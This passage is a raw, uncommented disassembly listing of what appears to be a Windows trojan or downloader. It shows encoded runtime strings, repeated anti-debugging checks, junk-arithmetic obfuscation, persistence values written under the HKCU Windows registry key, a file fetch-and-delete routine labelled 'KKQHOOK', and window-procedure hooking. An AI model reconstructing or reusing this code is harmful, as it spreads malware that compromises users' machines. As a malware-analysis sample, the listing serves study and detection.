		push	offset word_446DBE ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi		; nHeight
		mov	edi, dword_43C098
		add	edi, 44h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 0A7h
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 0B1h
		push	edi		; X
		push	50000000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp-174h]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_4351D8, eax
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		mov	[ebp+var_178], eax
		push	4Ah		; Size
		push	offset byte_446D73 ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C098
		mov	esi, 22h
		sub	esi, edi
		push	esi		; nHeight
		mov	edi, dword_43C098
		add	edi, 1D2h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 0D4h
		push	edi		; Y
		mov	edi, dword_43C094
		add	edi, 19h
		push	edi		; X
		push	50000000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp+var_178]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_432DBC, eax
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		mov	[ebp-17Ch], eax
		push	26h		; Size
		push	offset dword_446D4C ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi		; nHeight
		mov	edi, dword_43C098
		add	edi, 0EBh
		push	edi		; nWidth
		mov	edi, dword_43C094
		add	edi, 0FAh
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 0Ch
		push	edi		; X
		push	50000000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp-17Ch]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_43A558, eax
		push	offset Format	; Format
		lea	eax, [ebp+WindowName]
		push	eax		; Dest
		call	sprintf	; sprintf
		add	esp, 58h
		lea	edi, [ebp+var_143]
		lea	esi, aZ_y9am4	; "z.y9aM4"
		movsd
		movsd
		mov	[ebp+var_3], 4
		jmp	short loc_409529
; ---------------------------------------------------------------------------


loc_409519:				; CODE XREF: sub_408ED0+65Ej
		movzx	eax, [ebp+var_3]
		mov	[ebp+eax+WindowName], 78h
		add	[ebp+var_3], 1


loc_409529:				; CODE XREF: sub_408ED0+647j
		mov	al, [ebp+var_3]
		cmp	al, 0Ch
		jb	short loc_409519
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	4		; Size
		push	offset byte_446D47 ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	dword_430C28	; hWndParent
		mov	edi, dword_43C098
		mov	esi, edi
		add	esi, 6
		push	esi		; nHeight
		mov	esi, edi
		add	esi, 70h
		push	esi		; nWidth
		add	edi, 2
		push	edi		; Y
		push	edi		; X
		push	50800800h	; dwStyle
		lea	edi, [ebp+WindowName]
		push	edi		; lpWindowName
		push	eax		; lpClassName
		push	200h		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_41081C, eax
		mov	[ebp+var_120], 70h
		mov	eax, 829h
		mul	[ebp+var_120]
		mov	[ebp+var_180], eax
		mov	[ebp+var_120], eax
		push	4		; Size
		push	offset byte_446D47 ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	dword_430C28	; hWndParent
		mov	edi, dword_43C098
		add	edi, 6
		push	edi		; nHeight
		mov	edi, dword_43C094
		add	edi, 41h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 4Dh
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 2
		push	edi		; X
		push	50800000h	; dwStyle
		push	offset WindowName ; lpWindowName
		push	eax		; lpClassName
		push	200h		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_41E8BC, eax
		lea	edi, [ebp+var_146]
		lea	esi, a3h	; "3h"
		mov	ecx, 3
		rep movsb
		push	0		; lParam
		push	78h		; wParam
		push	0CCh		; Msg
		push	dword_41E8BC	; hWnd
		call	SendMessageA	; SendMessageA
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	6		; Size
		push	offset dword_446D40 ; Src
		call	sub_40129C
		mov	[ebp+var_184], eax
		push	16h		; Size
		push	offset byte_446D29 ; Src
		call	sub_40129C
		add	esp, 20h
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C098
		add	edi, 5
		push	edi		; nHeight
		mov	edi, dword_43C094
		add	edi, 96h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 12Eh
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 0Ch
		push	edi		; X
		push	50800000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp+var_184]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_4351DC, eax
		push	0		; pszFaceName
		push	2		; iPitchAndFamily
		push	0		; iQuality
		push	0		; iClipPrecision
		push	5		; iOutPrecision
		push	1		; iCharSet
		push	0		; bStrikeOut
		push	0		; bUnderline
		push	0		; bItalic
		push	190h		; cWeight
		push	0		; cOrientation
		push	0		; cEscapement
		mov	eax, dword_43C094
		inc	eax
		push	eax		; cWidth
		mov	eax, 22h
		sub	eax, dword_43C098
		push	eax		; cHeight
		call	CreateFontA	; CreateFontA
		mov	ebx, eax
		call	GetVersion	; GetVersion
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_432DC0	; hWnd
		call	SendMessageA	; SendMessageA
		lea	edi, [ebp+var_14C]
		lea	esi, aOi6	; " oi%6"
		mov	ecx, 3
		rep movsw
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_41E8C4	; hWnd
		call	SendMessageA	; SendMessageA
		mov	eax, dword_4469AD
		mov	[ebp+var_150], eax
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_41081C	; hWnd
		call	SendMessageA	; SendMessageA
		lea	edi, [ebp+var_158]
		lea	esi, byte_4469B1
		mov	ecx, 2
		rep movsd
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_41E8BC	; hWnd
		call	SendMessageA	; SendMessageA
		mov	[ebp+var_124], 2D6Ah
		inc	[ebp+var_124]
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_432DB8	; hWnd
		call	SendMessageA	; SendMessageA
		call	GetLastError
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_413F20	; hWnd
		call	SendMessageA	; SendMessageA
		lea	edi, [ebp+var_15D]
		lea	esi, byte_4469B9
		mov	ecx, 5
		rep movsb
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_4351D8	; hWnd
		call	SendMessageA	; SendMessageA
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	1		; lParam
		push	ebx		; wParam
		push	30h		; Msg
		push	dword_4351DC	; hWnd
		call	SendMessageA	; SendMessageA
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	0FFFFFFFCh	; nIndex
		push	dword_432DC0	; hWnd
		call	GetWindowLongA	; GetWindowLongA
		mov	dword_41F9F4, eax
		mov	[ebp+var_126], 1283h
		inc	[ebp+var_126]
		push	offset sub_40B2CA ; dwNewLong
		push	0FFFFFFFCh	; nIndex
		push	dword_432DC0	; hWnd
		call	SetWindowLongA	; SetWindowLongA
		lea	edi, [ebp+var_163]
		lea	esi, word_4469BE
		mov	ecx, 3
		rep movsw
		push	0FFFFFFFCh	; nIndex
		push	dword_41E8C4	; hWnd
		call	GetWindowLongA	; GetWindowLongA
		mov	dword_41E8C0, eax
		push	offset sub_40B2CA ; dwNewLong
		push	0FFFFFFFCh	; nIndex
		push	dword_41E8C4	; hWnd
		call	SetWindowLongA	; SetWindowLongA
		call	GetProcessHeap	; GetProcessHeap
		push	0FFFFFFFCh	; nIndex
		push	dword_41081C	; hWnd
		call	GetWindowLongA	; GetWindowLongA
		mov	dword_40E078, eax
		mov	[ebp+var_12C], 373Eh
		inc	[ebp+var_12C]
		push	offset sub_40B2CA ; dwNewLong
		push	0FFFFFFFCh	; nIndex
		push	dword_41081C	; hWnd
		call	SetWindowLongA	; SetWindowLongA
		push	0FFFFFFFCh	; nIndex
		push	dword_41E8BC	; hWnd
		call	GetWindowLongA	; GetWindowLongA
		mov	dword_413F1C, eax
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	offset sub_40B2CA ; dwNewLong
		push	0FFFFFFFCh	; nIndex
		push	dword_41E8BC	; hWnd
		call	SetWindowLongA	; SetWindowLongA
		call	GetLastError
		push	dword_432DC0	; hWnd
		call	SetFocus	; SetFocus
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408ED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; DWORD	__stdcall sub_4098A8(LPVOID)

sub_4098A8	proc near		; DATA XREF: sub_40AA24+80Fo

var_5614	= dword	ptr -5614h
var_5610	= dword	ptr -5610h
var_5609	= byte ptr -5609h
var_5602	= word ptr -5602h
var_5600	= dword	ptr -5600h
var_55FA	= byte ptr -55FAh
var_55F9	= byte ptr -55F9h
var_55F8	= dword	ptr -55F8h
var_55F4	= dword	ptr -55F4h
lpString	= dword	ptr -55F0h
NumberOfBytesWritten= dword ptr	-55ECh
var_55E6	= dword	ptr -55E6h
var_55E1	= byte ptr -55E1h
var_55DC	= dword	ptr -55DCh
var_55D6	= dword	ptr -55D6h
var_472D	= byte ptr -472Dh
var_472C	= byte ptr -472Ch
var_4724	= byte ptr -4724h
var_471F	= byte ptr -471Fh
var_4718	= dword	ptr -4718h
var_4714	= byte ptr -4714h
var_470C	= dword	ptr -470Ch
var_4708	= dword	ptr -4708h
var_4702	= byte ptr -4702h
var_4701	= byte ptr -4701h
var_4700	= word ptr -4700h
var_46FE	= word ptr -46FEh
var_46FC	= dword	ptr -46FCh
var_46F5	= byte ptr -46F5h
var_46F4	= byte ptr -46F4h
var_46F0	= dword	ptr -46F0h
hObject		= dword	ptr -46ECh
var_46E6	= word ptr -46E6h
var_46E4	= dword	ptr -46E4h
var_46E0	= dword	ptr -46E0h
var_46DA	= byte ptr -46DAh
hFile		= dword	ptr -45E8h
var_45E4	= dword	ptr -45E4h
var_45E0	= dword	ptr -45E0h
Format		= byte ptr -45DBh
CmdLine		= byte ptr -45D7h
var_35DF	= byte ptr -35DFh
var_35DE	= byte ptr -35DEh
var_35DD	= byte ptr -35DDh
var_35DC	= dword	ptr -35DCh
var_35D8	= dword	ptr -35D8h
var_35D2	= word ptr -35D2h
var_35D0	= word ptr -35D0h
var_35CE	= byte ptr -35CEh
var_35CD	= dword	ptr -35CDh
var_25CE	= word ptr -25CEh
var_25CC	= dword	ptr -25CCh
var_25C5	= byte ptr -25C5h
Src		= byte ptr -25C4h
var_25C1	= byte ptr -25C1h
var_25BF	= byte ptr -25BFh
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C6	= byte ptr -15C6h
var_15C5	= byte ptr -15C5h
var_15C2	= word ptr -15C2h
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
lpSubKey	= dword	ptr -15B8h
var_1163	= byte ptr -1163h
var_1162	= dword	ptr -1162h
var_115E	= byte ptr -115Eh
var_1158	= byte ptr -1158h
var_1155	= byte ptr -1155h
Type		= dword	ptr -1154h
var_114D	= byte ptr -114Dh
var_1146	= byte ptr -1146h
var_1145	= byte ptr -1145h
var_1140	= dword	ptr -1140h
var_113C	= byte ptr -113Ch
var_113B	= byte ptr -113Bh
var_1134	= byte ptr -1134h
var_112E	= word ptr -112Eh
Source		= byte ptr -112Bh
cbData		= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_101F	= byte ptr -101Fh
var_101E	= word ptr -101Eh
var_101C	= dword	ptr -101Ch
Data		= byte ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
hMem		= dword	ptr -0F0Ch
Dest		= byte ptr -0F08h
var_708		= dword	ptr -708h
var_703		= byte ptr -703h
var_604		= dword	ptr -604h
Dst		= byte ptr -600h
var_5A8		= byte ptr -5A8h
var_5A7		= byte ptr -5A7h
FileName	= byte ptr -400h

		push	ebp
		mov	ebp, esp
		mov	eax, 5614h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	GetVersion	; GetVersion
		mov	ax, word_4469C4
		mov	[ebp+var_112E+1], ax
		lea	edi, [ebp+var_1134]
		lea	esi, word_4469C6
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_113B]
		lea	esi, byte_4469CD
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_113C]
		lea	esi, byte_4469D4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_4469D5
		mov	[ebp+var_1140],	eax
		lea	edi, [ebp+var_1145]
		lea	esi, byte_4469D9
		mov	ecx, 5
		rep movsb
		call	GetTickCount	; GetTickCount
		push	eax		; Seed
		call	srand	; srand
		pop	ecx
		mov	[ebp+var_101C],	6594h
		inc	[ebp+var_101C]


loc_40993B:				; CODE XREF: sub_4098A8+1108j
		lea	edi, [ebp+var_1146]
		lea	esi, byte_4469DE
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		push	9		; Size
		push	offset byte_446D1F ; Src
		call	sub_40129C
		lea	edi, [ebp+var_703]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40341E
		mov	[ebp+var_101E],	5439h
		sub	[ebp+var_101E],	33A0h
		lea	edi, [ebp+var_114D]
		lea	esi, byte_4469DF
		mov	ecx, 7
		rep movsb
		push	9		; Size
		push	offset byte_446D15 ; Src
		call	sub_40129C
		mov	edi, dword_43C0BC
		push	off_43C0C4[edi*4]
		push	eax		; Format
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	sprintf	; sprintf
		push	1		; Size
		push	offset byte_446D13 ; Src
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		mov	edi, dword_43C0BC
		push	off_43C0C4[edi*4]
		call	sub_40181A
		add	esp, 4Ch
		cmp	eax, 0FFFFh
		jnz	short loc_409A33
		push	9		; Size
		push	offset byte_446D09 ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 10h


loc_409A33:				; CODE XREF: sub_4098A8+16Dj
		call	IsDebuggerPresent	; IsDebuggerPresent
		and	dword ptr [ebp+Data], 0
		mov	[ebp+cbData], 4
		lea	edi, [ebp+var_1155]
		lea	esi, byte_4469E6
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	1Ah		; Size
		push	offset aZAgJIsJZAigGz ;	"‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§"
		call	sub_40129C
		mov	[ebp+lpSubKey],	eax
		push	3		; Size
		push	offset word_446CEA ; Src
		call	sub_40129C
		lea	edi, [ebp+Type]
		push	edi		; lpType
		lea	edi, [ebp+cbData]
		push	edi		; lpcbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		mov	edi, [ebp+lpSubKey]
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	sub_4014C9
		mov	[ebp+var_101F],	6Ah
		add	[ebp+var_101F],	1
		lea	edi, [ebp+var_1158]
		lea	esi, byte_4469E7
		mov	ecx, 3
		rep movsb
		push	7		; Size
		push	offset word_446CE2 ; Src
		call	sub_40129C
		push	dword ptr [ebp+Data]
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetLastError
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		mov	[ebp+var_1024],	7ED9h
		mov	eax, 39E6h
		mul	[ebp+var_1024]
		mov	[ebp+var_15BC],	eax
		mov	[ebp+var_1024],	eax
		push	1		; Size
		push	offset byte_446CE0 ; Src
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi		; int
		push	0		; int
		push	0		; int
		push	eax		; int
		push	offset ClassName ; "KKQHOOK"
		lea	edi, [ebp+FileName]
		push	edi		; lpFileName
		lea	edi, [ebp+Dest]
		push	edi		; int
		push	0		; hMem
		call	sub_4061F7
		add	esp, 6Ch
		mov	ebx, eax
		mov	[ebp+var_1028],	47D6h
		mov	eax, 2DD7h
		mul	[ebp+var_1028]
		mov	[ebp+var_15C0],	eax
		mov	[ebp+var_1028],	eax
		or	ebx, ebx
		jnz	short loc_409BA8
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40349A
		pop	ecx
		mov	[ebp+var_15C2],	2655h
		movzx	eax, [ebp+var_15C2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_15C2],	ax
		jmp	loc_40A8A0
; ---------------------------------------------------------------------------


loc_409BA8:				; CODE XREF: sub_4098A8+2CAj
		and	dword ptr [ebp+Data], 0
		push	1Ah		; Size
		push	offset aZAgJIsJZAigGz ;	"‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§"
		call	sub_40129C
		mov	[ebp-15C4h], eax
		push	3		; Size
		push	offset word_446CEA ; Src
		call	sub_40129C
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		mov	edi, [ebp-15C4h]
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	sub_40160A
		push	0		; int
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	sub_401A7E
		add	esp, 30h
		mov	[ebp+hMem], eax
		or	eax, eax
		jz	loc_40A8A0
		lea	edi, [ebp+var_115E]
		lea	esi, aOcqud	; "ocqUd"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40349A
		pop	ecx
		and	[ebp+var_708], 0
		jmp	loc_40A867
; ---------------------------------------------------------------------------


loc_409C42:				; CODE XREF: sub_4098A8+FE2j
		mov	ax, word_4469F0
		mov	[ebp+var_35D0],	ax
		cmp	[ebp+Dst], 0
		jz	loc_40A867
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	ecx, [ebp+Dst]
		or	eax, 0FFFFFFFFh


loc_409C6A:				; CODE XREF: sub_4098A8+3C7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409C6A
		cmp	eax, 5Ch
		jb	loc_40A867
		mov	[ebp+var_25C5],	9Bh
		movzx	eax, [ebp+var_25C5]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_25C5],	al
		mov	[ebp+var_5A8], 0
		mov	ax, word_4469F2
		mov	[ebp+var_35D2],	ax
		push	0FFFh
		lea	eax, [ebp+Src]
		push	eax
		lea	eax, [ebp+var_5A7]
		push	eax
		call	sub_40893E
		push	0FFFh
		lea	eax, [ebp+var_35CD]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40893E
		add	esp, 18h
		mov	[ebp+var_25CC],	1FCCh
		mov	eax, [ebp+var_25CC]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_25CC],	edx
		mov	[ebp+var_15C6],	0
		mov	[ebp+var_25CE],	35D8h
		movzx	eax, [ebp+var_25CE]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_25CE],	ax
		mov	[ebp+var_15C5],	0
		jmp	short loc_409D40
; ---------------------------------------------------------------------------


loc_409D22:				; CODE XREF: sub_4098A8+4B1j
		movzx	eax, [ebp+var_15C5]
		lea	edx, [ebp+eax+Src]
		movsx	ecx, byte ptr [edx]
		sub	ecx, eax
		mov	eax, ecx
		mov	[edx], al
		add	[ebp+var_15C5],	1


loc_409D40:				; CODE XREF: sub_4098A8+478j
		lea	ecx, [ebp+Src]
		or	eax, 0FFFFFFFFh


loc_409D49:				; CODE XREF: sub_4098A8+4A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409D49
		movzx	esi, [ebp+var_15C5]
		cmp	esi, eax
		jb	short loc_409D22
		mov	[ebp+var_35CE],	4
		add	[ebp+var_35CE],	1
		lea	ecx, [ebp+Src]
		or	eax, 0FFFFFFFFh


loc_409D72:				; CODE XREF: sub_4098A8+4CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409D72
		lea	esi, [ebp+var_35CD]
		push	esi		; int
		push	eax		; Size
		lea	edi, [ebp+Src]
		push	edi		; Src
		call	sub_408779
		add	esp, 0Ch
		mov	[ebp+var_35D8],	eax
		push	5		; Size
		push	offset word_446CDA ; Src
		call	sub_40129C
		add	esp, 8
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+Src]
		push	edi
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_40A2DE
		mov	[ebp+var_46E4],	234h
		mov	eax, [ebp+var_46E4]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_46E4],	edx
		mov	eax, dword_4469F4
		mov	[ebp+var_470C],	eax
		lea	edi, [ebp+var_4714]
		lea	esi, dword_4469F8
		mov	ecx, 8
		rep movsb
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+Format]
		push	eax
		call	sub_40C6D8
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	[ebp+var_35DC],	0
		mov	[ebp+var_46E0],	4
		lea	eax, [ebp+var_46F4]
		push	eax		; lpType
		lea	eax, [ebp+var_46E0]
		push	eax		; lpcbData
		lea	eax, [ebp+var_35DC]
		push	eax		; lpData
		push	offset ValueName ; "ofstkkq"
		push	offset SubKey	; "Software\\Microsoft\\Windows"
		push	80000001h	; hKey
		call	sub_4014C9
		add	esp, 18h
		mov	[ebp+var_46F5],	9Dh
		movzx	eax, [ebp+var_46F5]
		imul	eax, 3388h
		mov	[ebp+var_46F5],	al
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		add	esp, 8
		push	9		; Size
		push	offset byte_446D1F ; Src
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_703]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 10h
		call	GetLastError
		push	1		; Size
		push	offset byte_446CE0 ; Src
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_604]
		push	edi		; int
		push	0		; int
		push	0		; int
		push	eax		; int
		push	offset ClassName ; "KKQHOOK"
		lea	edi, [ebp+FileName]
		push	edi		; lpFileName
		lea	edi, [ebp+Format]
		push	edi		; int
		push	offset byte_41FA00 ; hMem
		call	sub_4061F7
		add	esp, 20h
		mov	ebx, eax
		call	GetLastError
		cmp	ebx, 0
		jnz	short loc_409F27
		mov	[ebp+var_472D],	69h
		add	[ebp+var_472D],	1
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40349A
		add	esp, 4
		call	GetVersion	; GetVersion
		jmp	short loc_409F60
; ---------------------------------------------------------------------------


loc_409F27:				; CODE XREF: sub_4098A8+659j
		push	4		; dwType
		push	4		; cbData
		lea	eax, [ebp+var_604]
		push	eax		; lpData
		push	offset ValueName ; "ofstkkq"
		push	offset SubKey	; "Software\\Microsoft\\Windows"
		push	80000001h	; hKey
		call	sub_40160A
		mov	eax, dword_446A00
		mov	[ebp+var_4718],	eax
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40349A
		add	esp, 1Ch


loc_409F60:				; CODE XREF: sub_4098A8+67Dj
		and	[ebp+var_35DC],	0
		mov	[ebp+var_46E0],	4
		call	GetProcessHeap	; GetProcessHeap
		lea	eax, [ebp+var_46F4]
		push	eax		; lpType
		lea	eax, [ebp+var_46E0]
		push	eax		; lpcbData
		lea	eax, [ebp+var_35DC]
		push	eax		; lpData
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset SubKey	; "Software\\Microsoft\\Windows"
		push	80000001h	; hKey
		call	sub_4014C9
		add	esp, 18h
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	offset byte_40E080 ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	0		; lpFileSizeHigh
		push	eax		; hFile
		call	GetFileSize	; GetFileSize
		mov	[ebp+var_4708],	eax
		call	GetVersion	; GetVersion
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		call	GetLastError
		mov	eax, [ebp+var_4708]
		cmp	[ebp+var_35DC],	eax
		jb	short loc_409FFC
		call	GetProcessHeap	; GetProcessHeap
		jmp	loc_40A157
; ---------------------------------------------------------------------------


loc_409FFC:				; CODE XREF: sub_4098A8+748j
		lea	edi, [ebp+var_471F]
		lea	esi, dword_446A04
		mov	ecx, 7
		rep movsb
		mov	eax, 1Ah
		sub	eax, dword_43C098
		push	eax
		lea	eax, [ebp+var_46DA]
		push	eax
		call	sub_40172F
		push	9		; Size
		push	offset dword_446CD0 ; Src
		call	sub_40129C
		lea	edi, [ebp+var_46DA]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40341E
		mov	[ebp+var_46FC],	3814h
		add	[ebp+var_46FC],	12E1h
		push	1		; Size
		push	offset byte_446CE0 ; Src
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi		; int
		push	0		; int
		push	[ebp+var_35DC]	; int
		push	eax		; int
		push	offset ClassName ; "KKQHOOK"
		lea	edi, [ebp+FileName]
		push	edi		; lpFileName
		lea	edi, [ebp+Format]
		push	edi		; int
		push	offset byte_40E080 ; hMem
		call	sub_4061F7
		mov	ebx, eax
		mov	[ebp+var_46FE],	486Fh
		movzx	eax, [ebp+var_46FE]
		imul	eax, 20EDh
		mov	[ebp+var_46FE],	ax
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		lea	edi, [ebp+var_4724]
		lea	esi, byte_446A0B
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40349A
		add	esp, 50h
		mov	[ebp+var_4700],	1BDh
		movzx	eax, [ebp+var_4700]
		imul	eax, 1736h
		mov	[ebp+var_4700],	ax
		or	ebx, ebx
		jz	short loc_40A157
		mov	dword ptr [ebp-4730h], 1381h
		sub	dword ptr [ebp-4730h], 2095h
		cmp	[ebp+var_604], 0
		jz	short loc_40A157
		push	4		; dwType
		push	4		; cbData
		lea	eax, [ebp+var_604]
		push	eax		; lpData
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset SubKey	; "Software\\Microsoft\\Windows"
		push	80000001h	; hKey
		call	sub_40160A
		add	esp, 18h


loc_40A157:				; CODE XREF: sub_4098A8+74Fj
					; sub_4098A8+86Ej ...
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	offset byte_415080 ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+var_46F0],	eax
		lea	edi, [ebp+var_472C]
		lea	esi, dword_446A10
		movsd
		movsd
		cmp	[ebp+var_46F0],	0FFFFFFFFh
		jz	loc_40A8A0
		call	GetTickCount	; GetTickCount
		push	[ebp+var_46F0]	; hObject
		call	CloseHandle	; CloseHandle
		call	GetTickCount	; GetTickCount
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_46E6],	4301h
		movzx	eax, [ebp+var_46E6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_46E6],	ax
		push	6		; Size
		push	offset byte_446CC9 ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	strcat	; strcat
		mov	[ebp+var_4701],	99h
		movzx	eax, [ebp+var_4701]
		imul	eax, 2D23h
		mov	[ebp+var_4701],	al
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40341E
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_46DA]
		push	eax
		call	sub_40172F
		push	9		; Size
		push	offset byte_446D1F ; Src
		call	sub_40129C
		lea	edi, [ebp+var_46DA]
		push	edi
